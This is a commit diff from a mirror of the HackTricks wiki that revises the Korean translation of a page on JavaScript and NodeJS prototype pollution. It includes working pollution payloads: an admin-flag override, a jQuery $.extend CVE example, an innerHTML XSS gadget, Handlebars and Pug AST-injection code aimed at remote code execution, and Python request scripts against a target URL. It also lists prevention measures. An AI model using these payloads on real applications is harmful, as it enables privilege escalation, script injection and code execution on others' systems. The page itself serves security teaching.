mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
This commit is contained in:
parent
4903c8dbf5
commit
89e47429e3
1 changed files with 78 additions and 76 deletions
|
@ -1,31 +1,31 @@
|
||||||
# NodeJS - \_\_proto\_\_ & prototype 오염
|
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
HackTricks를 지원하는 다른 방법:
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## JavaScript의 객체 <a href="#053a" id="053a"></a>
|
## JavaScript의 객체 <a href="#id-053a" id="id-053a"></a>
|
||||||
|
|
||||||
JavaScript의 객체는 핵심적으로 키-값 쌍으로 이루어진 속성의 컬렉션입니다. `null`을 인수로 사용하여 `Object.create`를 사용하여 빈 객체를 생성할 수 있습니다. 이 방법을 사용하면 상속된 속성이 없는 객체를 생성할 수 있습니다.
|
JavaScript의 객체는 본질적으로 속성이라고 하는 키-값 쌍의 컬렉션입니다. 객체는 `Object.create`를 사용하여 `null`을 인수로 전달하여 빈 객체를 생성할 수 있습니다. 이 방법을 사용하면 상속된 속성이 없는 객체를 생성할 수 있습니다.
|
||||||
```javascript
|
```javascript
|
||||||
// Run this in the developers tools console
|
// Run this in the developers tools console
|
||||||
console.log(Object.create(null)); // This will output an empty object.
|
console.log(Object.create(null)); // This will output an empty object.
|
||||||
```
|
```
|
||||||
빈 객체는 빈 딕셔너리와 유사하며, `{}`로 표현됩니다.
|
빈 객체는 빈 사전과 유사하며 `{}`로 표시됩니다.
|
||||||
|
|
||||||
### JavaScript에서의 함수와 클래스
|
### JavaScript의 함수와 클래스
|
||||||
|
|
||||||
JavaScript에서는 함수와 클래스가 밀접하게 연결되어 있으며, 함수는 종종 클래스의 생성자로 사용됩니다. JavaScript는 원래 클래스 지원이 없지만, 생성자를 사용하여 클래스와 유사한 동작을 에뮬레이트할 수 있습니다.
|
JavaScript에서 클래스와 함수는 밀접한 관련이 있으며, 함수는 종종 클래스의 생성자로 작용합니다. JavaScript는 네이티브 클래스 지원이 부족하지만, 생성자는 클래스 동작을 흉내 낼 수 있습니다.
|
||||||
```javascript
|
```javascript
|
||||||
// Run this in the developers tools console
|
// Run this in the developers tools console
|
||||||
|
|
||||||
|
@ -43,37 +43,37 @@ var employee1 = new Employee("Generic Employee", "Developer");
|
||||||
|
|
||||||
employee1.__proto__
|
employee1.__proto__
|
||||||
```
|
```
|
||||||
### 자바스크립트에서의 프로토타입
|
### 자바스크립트의 프로토타입
|
||||||
|
|
||||||
자바스크립트는 런타임에서 프로토타입 속성을 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능을 동적으로 확장할 수 있게 해줍니다.
|
자바스크립트는 프로토타입 속성을 실행 중에 수정, 추가 또는 삭제할 수 있습니다. 이 유연성은 클래스 기능을 동적으로 확장할 수 있게 합니다.
|
||||||
|
|
||||||
`toString`과 `valueOf`와 같은 함수는 동작을 변경하기 위해 수정될 수 있으며, 이는 자바스크립트의 프로토타입 시스템의 적응 가능성을 보여줍니다.
|
`toString` 및 `valueOf`와 같은 함수는 그들의 동작을 변경하기 위해 수정될 수 있으며, 이는 자바스크립트의 프로토타입 시스템의 적응 가능한 성격을 보여줍니다.
|
||||||
|
|
||||||
## 상속
|
## 상속
|
||||||
|
|
||||||
프로토타입 기반 프로그래밍에서 속성/메서드는 클래스로부터 객체에게 상속됩니다. 이러한 클래스는 다른 클래스의 인스턴스 또는 빈 객체에 속성/메서드를 추가함으로써 생성됩니다.
|
프로토타입 기반 프로그래밍에서 속성/메서드는 클래스로부터 객체에게 상속됩니다. 이러한 클래스는 다른 클래스의 인스턴스에 속성/메서드를 추가하거나 빈 객체에 추가하여 생성됩니다.
|
||||||
|
|
||||||
다른 객체들의 프로토타입으로 사용되는 객체(예: `myPersonObj`)에 속성이 추가되면, 상속받는 객체들은 이 새로운 속성에 접근할 수 있습니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.
|
다른 객체가 상속하는 속성이 객체에 추가될 때(예: `myPersonObj`와 같은 다른 객체의 프로토타입으로 사용될 때), 상속받는 객체들은 이 새로운 속성에 액세스할 수 있습니다. 그러나 이 속성은 명시적으로 호출되지 않는 한 자동으로 표시되지 않습니다.
|
||||||
|
|
||||||
## \_\_proto\_\_ 오염 <a href="#0d0a" id="0d0a"></a>
|
## \_\_proto\_\_ 오염 <a href="#id-0d0a" id="id-0d0a"></a>
|
||||||
|
|
||||||
## 자바스크립트에서 프로토타입 오염 탐색
|
## 자바스크립트에서 프로토타입 오염 탐색
|
||||||
|
|
||||||
자바스크립트 객체는 키-값 쌍으로 정의되며, 자바스크립트 객체 프로토타입에서 상속됩니다. 이는 객체 프로토타입을 수정하면 환경 내의 모든 객체에 영향을 미칠 수 있다는 것을 의미합니다.
|
자바스크립트 객체는 키-값 쌍으로 정의되며, 자바스크립트 객체 프로토타입에서 상속됩니다. 이는 객체 프로토타입을 변경하면 환경 내의 모든 객체에 영향을 줄 수 있다는 것을 의미합니다.
|
||||||
|
|
||||||
이를 설명하기 위해 다른 예제를 사용해보겠습니다:
|
다른 예제를 사용하여 설명해 봅시다:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model;
|
this.model = model;
|
||||||
}
|
}
|
||||||
var car1 = new Vehicle("Tesla Model S");
|
var car1 = new Vehicle("Tesla Model S");
|
||||||
```
|
```
|
||||||
객체 프로토타입에 접근하는 것은 다음을 통해 가능합니다:
|
다음을 통해 Object prototype에 액세스할 수 있습니다:
|
||||||
```javascript
|
```javascript
|
||||||
car1.__proto__.__proto__;
|
car1.__proto__.__proto__;
|
||||||
Vehicle.__proto__.__proto__;
|
Vehicle.__proto__.__proto__;
|
||||||
```
|
```
|
||||||
Object 프로토타입에 속성을 추가함으로써, 모든 JavaScript 객체는 이러한 새로운 속성을 상속받게 됩니다:
|
객체 프로토타입에 속성을 추가함으로써 모든 JavaScript 객체가 이러한 새로운 속성을 상속받게 됩니다:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model;
|
this.model = model;
|
||||||
|
@ -88,7 +88,7 @@ console.log(car1.isVehicle); // Outputs true
|
||||||
```
|
```
|
||||||
## 프로토타입 오염
|
## 프로토타입 오염
|
||||||
|
|
||||||
`__proto__` 사용이 제한된 경우, 함수의 프로토타입을 수정하는 것이 대안입니다:
|
`__proto__` 사용이 제한된 시나리오에서는 함수의 프로토타입을 수정하는 것이 대안이 될 수 있습니다:
|
||||||
```javascript
|
```javascript
|
||||||
function Vehicle(model) {
|
function Vehicle(model) {
|
||||||
this.model = model;
|
this.model = model;
|
||||||
|
@ -104,15 +104,15 @@ console.log(car1.hasWheels); // Outputs true
|
||||||
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
|
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
|
||||||
car1.constructor.prototype.isElectric = true;
|
car1.constructor.prototype.isElectric = true;
|
||||||
```
|
```
|
||||||
이는 `Vehicle` 생성자에서 생성된 객체에만 영향을 미치며, `beep`, `hasWheels`, `honk`, `isElectric` 속성을 제공합니다.
|
이것은 `Vehicle` 생성자에서 생성된 객체에만 영향을 줍니다. `beep`, `hasWheels`, `honk`, 그리고 `isElectric` 속성을 제공합니다.
|
||||||
|
|
||||||
프로토타입 오염을 통해 JavaScript 객체에 전역적으로 영향을 주는 두 가지 방법이 있습니다:
|
자바스크립트 객체를 전역적으로 영향을 주는 두 가지 방법은 다음과 같습니다:
|
||||||
|
|
||||||
1. `Object.prototype`을 직접 오염시키기:
|
1. `Object.prototype`을 직접 오염시키기:
|
||||||
```javascript
|
```javascript
|
||||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||||
```
|
```
|
||||||
2. 자주 사용되는 구조체의 생성자의 프로토타입 오염하기:
|
2. 자주 사용되는 구조체의 생성자의 프로토타입을 오염시키기:
|
||||||
```javascript
|
```javascript
|
||||||
var example = {"key": "value"};
|
var example = {"key": "value"};
|
||||||
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
||||||
|
@ -146,7 +146,7 @@ console.log(key1 + "." + key2)
|
||||||
```
|
```
|
||||||
### 배열 요소 오염
|
### 배열 요소 오염
|
||||||
|
|
||||||
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열에 접근할 수 있다면 **인덱스로 접근 가능한 배열 값도 오염시킬 수 있습니다** (값을 덮어쓸 수 없으므로, 값을 오염시키려면 쓰이지만 쓰이지 않는 인덱스를 오염시켜야 합니다).
|
JS에서 객체의 속성을 오염시킬 수 있는 것처럼, 배열을 오염시킬 수 있다면 **배열의 값도 오염시킬 수 있다는 것**을 유의하십시오. 이는 **인덱스로 접근 가능한 배열의 값**도 오염시킬 수 있다는 것을 의미합니다 (값을 덮어쓸 수는 없으므로, 사용되지만 쓰이지 않는 인덱스를 오염시켜야 합니다).
|
||||||
```javascript
|
```javascript
|
||||||
c = [1,2]
|
c = [1,2]
|
||||||
a = []
|
a = []
|
||||||
|
@ -158,7 +158,7 @@ c[1] // 2 -- not
|
||||||
```
|
```
|
||||||
### Html 요소 오염
|
### Html 요소 오염
|
||||||
|
|
||||||
JS를 통해 HTML 요소를 생성할 때, **`innerHTML`** 속성을 **덮어쓰는** 것으로 임의의 HTML 코드를 작성할 수 있습니다. [이 글에서 아이디어와 예시를 참고하였습니다](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
JS를 통해 HTML 요소를 생성할 때 **`innerHTML`** 속성을 **덮어쓰기**하여 **임의의 HTML 코드를 작성**할 수 있습니다. [이 아이디어와 예시는 이 글에서 참고하였습니다](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -177,38 +177,37 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||||
|
|
||||||
### 기본 예시
|
### 기본 예시
|
||||||
|
|
||||||
프로토타입 오염은 애플리케이션에서 `Object.prototype`의 속성을 덮어쓸 수 있는 결함으로 발생합니다. 이는 대부분의 객체가 `Object.prototype`에서 속성을 상속받기 때문에 발생합니다.
|
프로토타입 오염은 응용 프로그램에서 `Object.prototype`의 속성을 덮어쓸 수 있는 결함으로 발생합니다. 이는 대부분의 객체가 `Object.prototype`에서 속성을 파생하기 때문에 발생합니다.
|
||||||
|
|
||||||
가장 간단한 예시는 확인될 객체의 **정의되지 않은 속성에 값을 추가**하는 것입니다. 예를 들어:
|
가장 쉬운 예시는 **확인될 객체의 정의되지 않은 속성에 값을 추가**하는 것입니다.
|
||||||
```javascript
|
```javascript
|
||||||
if (user.admin) {
|
if (user.admin) {
|
||||||
```
|
```
|
||||||
만약 **`admin` 속성이 정의되지 않은** 경우, PP를 악용하여 True로 설정할 수 있습니다. 다음과 같이 하면 됩니다:
|
만약 속성 **`admin`이 정의되지 않은 경우** PP를 남용하여 다음과 같이 True로 설정할 수 있습니다:
|
||||||
```javascript
|
```javascript
|
||||||
Object.prototype.isAdmin = true
|
Object.prototype.isAdmin = true
|
||||||
let user = {}
|
let user = {}
|
||||||
user.isAdmin // true
|
user.isAdmin // true
|
||||||
```
|
```
|
||||||
이 메커니즘은 특정 입력을 제어할 수 있는 경우, 공격자는 응용 프로그램의 모든 객체의 프로토타입을 수정할 수 있습니다. 이 조작은 일반적으로 `__proto__` 속성을 설정하여 수행되며, JavaScript에서는 이것이 객체의 프로토타입을 직접 수정하는 것과 동일합니다.
|
이 메커니즘은 특정 입력을 통제하는 공격자가 응용 프로그램의 모든 객체의 프로토 타입을 수정할 수 있도록 속성을 조작하는 것을 포함합니다. 이 조작은 일반적으로 `__proto__` 속성을 설정하여 이루어지며, JavaScript에서는 이것이 객체의 프로토 타입을 직접 수정하는 것과 동의어입니다.
|
||||||
|
|
||||||
이 공격이 성공적으로 실행될 수 있는 조건은 특정 [연구](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)에서 설명된 대로 다음과 같습니다:
|
이 공격이 성공적으로 실행될 수 있는 조건은 특정 [연구](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf)에서 설명된 바와 같이 다음과 같습니다:
|
||||||
|
|
||||||
- 재귀적인 병합 수행
|
|
||||||
- 경로를 기반으로 속성 정의
|
|
||||||
- 객체 복제
|
|
||||||
|
|
||||||
|
* 재귀적 병합 수행.
|
||||||
|
* 경로를 기반으로 속성 정의.
|
||||||
|
* 객체 복제.
|
||||||
|
|
||||||
### 함수 재정의
|
### 함수 재정의
|
||||||
```python
|
```python
|
||||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||||
```
|
```
|
||||||
### Proto Pollution을 통한 RCE
|
### Proto Pollution to RCE
|
||||||
|
|
||||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 클라이언트 측 프로토타입 오염을 통한 XSS
|
## 클라이언트 측 프로토타입 오염으로 XSS
|
||||||
|
|
||||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||||
|
@ -216,42 +215,45 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
||||||
|
|
||||||
### CVE-2019–11358: jQuery $ .extend를 통한 프로토타입 오염 공격
|
### CVE-2019–11358: jQuery $ .extend를 통한 프로토타입 오염 공격
|
||||||
|
|
||||||
[자세한 내용은 이 문서를 참조하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
[자세한 내용은 이 기사를 확인하십시오](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery에서 `$ .extend` 함수는 깊은 복사 기능이 부적절하게 사용되면 프로토타입 오염으로 이어질 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새 객체에 할당되어야 하는 속성이 대신 프로토타입에 할당될 수 있습니다. 예를 들어:
|
||||||
jQuery에서 `$ .extend` 함수는 깊은 복사 기능을 잘못 사용할 경우 프로토타입 오염을 유발할 수 있습니다. 이 함수는 일반적으로 객체를 복제하거나 기본 객체에서 속성을 병합하는 데 사용됩니다. 그러나 잘못 구성된 경우, 새로운 객체를 위해 의도된 속성이 프로토타입에 할당될 수 있습니다. 예를 들어:
|
|
||||||
```javascript
|
```javascript
|
||||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||||
console.log({}.devMode); // Outputs: true
|
console.log({}.devMode); // Outputs: true
|
||||||
```
|
```
|
||||||
이 취약점은 CVE-2019-11358로 식별되며, 깊은 복사가 prototype을 무심코 수정하여 `isAdmin`과 같은 속성이 적절한 존재 확인 없이 확인되는 경우 무단 관리자 액세스와 같은 잠재적인 보안 위험을 초래할 수 있습니다.
|
이 취약점은 CVE-2019-11358로 식별되었으며, 깊은 복사가 prototype을 무심코 수정하여 `isAdmin`과 같은 속성이 적절한 존재 확인 없이 확인될 경우 무단 관리자 액세스와 같은 잠재적 보안 위험으로 이어질 수 있다는 것을 보여줍니다.
|
||||||
|
|
||||||
|
### CVE-2018-3721, CVE-2019-10744: lodash를 통한 Prototype pollution 공격
|
||||||
|
|
||||||
### CVE-2018-3721, CVE-2019-10744: lodash를 통한 Prototype Pollution 공격
|
[자세한 내용은 이 기사를 확인하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||||
|
|
||||||
[자세한 내용은 이 기사를 참조하세요](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
[Lodash](https://www.npmjs.com/package/lodash)는 유사한 prototype pollution 취약점(CVE-2018-3721, CVE-2019-10744)을 겪었습니다. 이러한 문제는 4.17.11 버전에서 해결되었습니다.
|
||||||
|
|
||||||
[Lodash](https://www.npmjs.com/package/lodash)는 유사한 prototype pollution 취약점 (CVE-2018-3721, CVE-2019-10744)을 겪었습니다. 이러한 문제는 버전 4.17.11에서 해결되었습니다.
|
### CVE가 포함된 또 다른 자습서
|
||||||
|
|
||||||
### 다른 CVE가 포함된 튜토리얼
|
|
||||||
|
|
||||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||||
|
|
||||||
|
### Prototype Pollution 감지 도구
|
||||||
|
|
||||||
|
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): 웹 애플리케이션에서 서버 측 prototype pollution 취약점을 감지하고 분석하기 위해 설계된 Burp Suite 확장 프로그램입니다. 이 도구는 잠재적인 prototype pollution 문제를 식별하기 위해 요청을 스캔하는 프로세스를 자동화합니다. 특히 Node.js 라이브러리에 중점을 두어 알려진 가젯을 악용하는 방법을 활용합니다.
|
||||||
|
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): 이 확장 프로그램은 서버 측 prototype pollution 취약점을 식별합니다. 이는 [서버 측 prototype pollution](https://portswigger.net/research/server-side-prototype-pollution)에서 설명된 기술을 사용합니다.
|
||||||
|
|
||||||
### NodeJS에서의 AST Prototype Pollution
|
### NodeJS에서의 AST Prototype Pollution
|
||||||
|
|
||||||
NodeJS는 템플릿 엔진과 TypeScript와 같은 기능에서 JavaScript의 Abstract Syntax Trees (AST)를 광범위하게 활용합니다. 이 섹션에서는 템플릿 엔진인 Handlebars와 Pug와 관련된 prototype pollution 취약점에 대해 알아보겠습니다.
|
NodeJS는 템플릿 엔진 및 TypeScript와 같은 기능을 위해 JavaScript에서 추상 구문 트리(Abstract Syntax Trees, AST)를 광범위하게 활용합니다. 이 섹션에서는 Handlebars와 Pug와 같은 템플릿 엔진에서 prototype pollution과 관련된 취약점을 탐구합니다.
|
||||||
|
|
||||||
#### Handlebars 취약점 분석
|
#### Handlebars 취약점 분석
|
||||||
|
|
||||||
Handlebars 템플릿 엔진은 prototype pollution 공격에 취약합니다. 이 취약점은 `javascript-compiler.js` 파일 내의 특정 함수에서 발생합니다. 예를 들어, `appendContent` 함수는 `pendingContent`가 존재하는 경우 이를 연결하고, `pushSource` 함수는 소스를 추가한 후 `pendingContent`를 `undefined`로 재설정합니다.
|
Handlebars 템플릿 엔진은 prototype pollution 공격에 취약합니다. 이 취약점은 `javascript-compiler.js` 파일 내의 특정 함수에서 발생합니다. 예를 들어, `appendContent` 함수는 `pendingContent`가 존재하는 경우 이를 연결하고, `pushSource` 함수는 소스를 추가한 후 `pendingContent`를 `undefined`로 재설정합니다.
|
||||||
|
|
||||||
##### 공격 과정
|
**악용 과정**
|
||||||
|
|
||||||
이 취약점을 이용하기 위해 Handlebars가 생성한 AST (Abstract Syntax Tree)를 활용하여 다음 단계를 따릅니다:
|
악용은 Handlebars에 의해 생성된 AST(Abstract Syntax Tree)를 활용하여 다음 단계를 따릅니다:
|
||||||
|
|
||||||
1. **파서 조작**: 먼저, 파서는 `NumberLiteral` 노드를 통해 값이 숫자인지 확인합니다. Prototype pollution을 통해 숫자가 아닌 문자열을 삽입할 수 있습니다.
|
1. **파서 조작**: 먼저, `NumberLiteral` 노드를 통해 파서가 값이 숫자임을 강제합니다. Prototype pollution을 통해 숫자가 아닌 문자열을 삽입할 수 있습니다.
|
||||||
2. **컴파일러 처리**: 컴파일러는 AST 객체나 문자열 템플릿을 처리할 수 있습니다. `input.type`이 `Program`과 같으면 입력이 사전에 구문 분석된 것으로 처리되어 취약점이 발생할 수 있습니다.
|
2. **컴파일러 처리**: 컴파일러는 AST 객체나 문자열 템플릿을 처리할 수 있습니다. `input.type`이 `Program`인 경우 입력이 사전 구문 분석된 것으로 처리되어 악용될 수 있습니다.
|
||||||
3. **코드 삽입**: `Object.prototype`을 조작함으로써 임의의 코드를 템플릿 함수에 삽입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
|
3. **코드 삽입**: `Object.prototype`을 조작하여 템플릿 함수에 임의의 코드를 삽입할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
|
||||||
|
|
||||||
Handlebars 취약점을 악용하는 예시:
|
Handlebars 취약점 악용을 보여주는 예시:
|
||||||
```javascript
|
```javascript
|
||||||
const Handlebars = require('handlebars');
|
const Handlebars = require('handlebars');
|
||||||
|
|
||||||
|
@ -276,11 +278,11 @@ console.log(eval('(' + template + ')')['main'].toString());
|
||||||
```
|
```
|
||||||
이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 삽입할 수 있는 방법을 보여줍니다.
|
이 코드는 공격자가 Handlebars 템플릿에 임의의 코드를 삽입할 수 있는 방법을 보여줍니다.
|
||||||
|
|
||||||
**외부 참조**: 'flat' 라이브러리와 관련된 프로토타입 오염 문제가 발견되었습니다. 자세한 내용은 [GitHub의 이슈](https://github.com/hughsk/flat/issues/105)에서 확인할 수 있습니다.
|
**외부 참조**: 'flat' 라이브러리와 관련된 프로토타입 오염 문제가 발견되었습니다. 자세한 내용은 다음을 참조하십시오: [GitHub의 이슈](https://github.com/hughsk/flat/issues/105).
|
||||||
|
|
||||||
**외부 참조**: ['flat' 라이브러리의 프로토타입 오염과 관련된 이슈](https://github.com/hughsk/flat/issues/105)
|
**외부 참조**: 'flat' 라이브러리에서 발견된 프로토타입 오염과 관련된 이슈: [이슈](https://github.com/hughsk/flat/issues/105)
|
||||||
|
|
||||||
Python에서 프로토타입 오염을 이용한 공격 예시:
|
Python에서 프로토타입 오염 악용 예시:
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
@ -308,9 +310,9 @@ requests.get(TARGET_URL)
|
||||||
```
|
```
|
||||||
#### Pug 취약점
|
#### Pug 취약점
|
||||||
|
|
||||||
Pug, 또 다른 템플릿 엔진,는 프로토타입 오염의 유사한 위험에 직면합니다. 자세한 정보는 [Pug에서의 AST 삽입에 대한 논의](https://blog.p6.is/AST-Injection/#Pug)에서 확인할 수 있습니다.
|
Pug, 또 다른 템플릿 엔진,는 프로토타입 오염의 유사한 위험에 직면합니다. 자세한 정보는 [Pug에서 AST 삽입에 대한 논의](https://blog.p6.is/AST-Injection/#Pug)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
Pug에서의 프로토타입 오염 예시:
|
Pug에서 프로토타입 오염의 예시:
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
@ -329,19 +331,19 @@ requests.get(TARGET_URL)
|
||||||
```
|
```
|
||||||
### 예방 조치
|
### 예방 조치
|
||||||
|
|
||||||
프로토타입 오염의 위험을 줄이기 위해 다음과 같은 전략을 사용할 수 있습니다:
|
프로토타입 오염의 위험을 줄이기 위해 아래에 나열된 전략들을 사용할 수 있습니다:
|
||||||
|
|
||||||
1. **객체 불변성**: `Object.freeze`를 적용하여 `Object.prototype`을 불변하게 만들 수 있습니다.
|
1. **객체 불변성**: `Object.prototype`을 `Object.freeze`를 적용하여 불변하게 만들 수 있습니다.
|
||||||
2. **입력 유효성 검사**: JSON 입력은 애플리케이션의 스키마에 엄격하게 검증되어야 합니다.
|
2. **입력 유효성 검사**: JSON 입력은 응용 프로그램의 스키마에 엄격히 대조되어야 합니다.
|
||||||
3. **안전한 병합 함수**: 재귀적인 병합 함수의 불안전한 사용은 피해야 합니다.
|
3. **안전한 병합 함수**: 재귀적 병합 함수의 안전하지 않은 사용은 피해야 합니다.
|
||||||
4. **프로토타입 없는 객체**: `Object.create(null)`을 사용하여 프로토타입 속성이 없는 객체를 생성할 수 있습니다.
|
4. **프로토타입 없는 객체**: `Object.create(null)`을 사용하여 프로토타입 속성이 없는 객체를 생성할 수 있습니다.
|
||||||
5. **Map 사용**: `Object` 대신 `Map`을 사용하여 키-값 쌍을 저장해야 합니다.
|
5. **Map 사용**: `Object` 대신에 키-값 쌍을 저장하기 위해 `Map`을 사용해야 합니다.
|
||||||
6. **라이브러리 업데이트**: 정기적으로 라이브러리를 업데이트하여 보안 패치를 적용할 수 있습니다.
|
6. **라이브러리 업데이트**: 정기적으로 라이브러리를 업데이트하여 보안 패치를 통합할 수 있습니다.
|
||||||
7. **린터 및 정적 분석 도구**: ESLint와 같은 도구와 적절한 플러그인을 사용하여 프로토타입 오염 취약점을 감지하고 방지할 수 있습니다.
|
7. **린터 및 정적 분석 도구**: ESLint와 적절한 플러그인과 같은 도구를 사용하여 프로토타입 오염 취약점을 감지하고 방지할 수 있습니다.
|
||||||
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적인 위험을 식별하고 해결하기 위해 철저한 코드 리뷰를 실시해야 합니다.
|
8. **코드 리뷰**: 프로토타입 오염과 관련된 잠재적 위험을 식별하고 해결하기 위해 철저한 코드 리뷰를 시행해야 합니다.
|
||||||
9. **보안 교육**: 개발자들에게 프로토타입 오염의 위험과 안전한 코드 작성을 위한 모범 사례에 대해 교육해야 합니다.
|
9. **보안 교육**: 개발자들에게 프로토타입 오염의 위험과 안전한 코드 작성을 위한 모범 사례에 대해 교육해야 합니다.
|
||||||
10. **신중한 라이브러리 사용**: 타사 라이브러리 사용 시 신중해야 합니다. 그들의 보안 상태를 평가하고 코드를 검토해야 합니다. 특히 객체 조작과 관련된 라이브러리를 검토해야 합니다.
|
10. **조심해서 라이브러리 사용**: 제3자 라이브러리 사용 시 주의해야 합니다. 그들의 보안 포지션을 평가하고 특히 객체 조작을 하는 라이브러리의 코드를 검토해야 합니다.
|
||||||
11. **런타임 보호**: 프로토타입 오염 공격을 탐지하고 방지할 수 있는 보안 중심의 npm 패키지와 같은 런타임 보호 메커니즘을 사용해야 합니다.
|
11. **런타임 보호**: 보안 중심 npm 패키지를 사용하여 프로토타입 오염 공격을 감지하고 방지할 수 있는 런타임 보호 메커니즘을 사용해야 합니다.
|
||||||
|
|
||||||
## 참고 자료
|
## 참고 자료
|
||||||
|
|
||||||
|
@ -352,14 +354,14 @@ requests.get(TARGET_URL)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
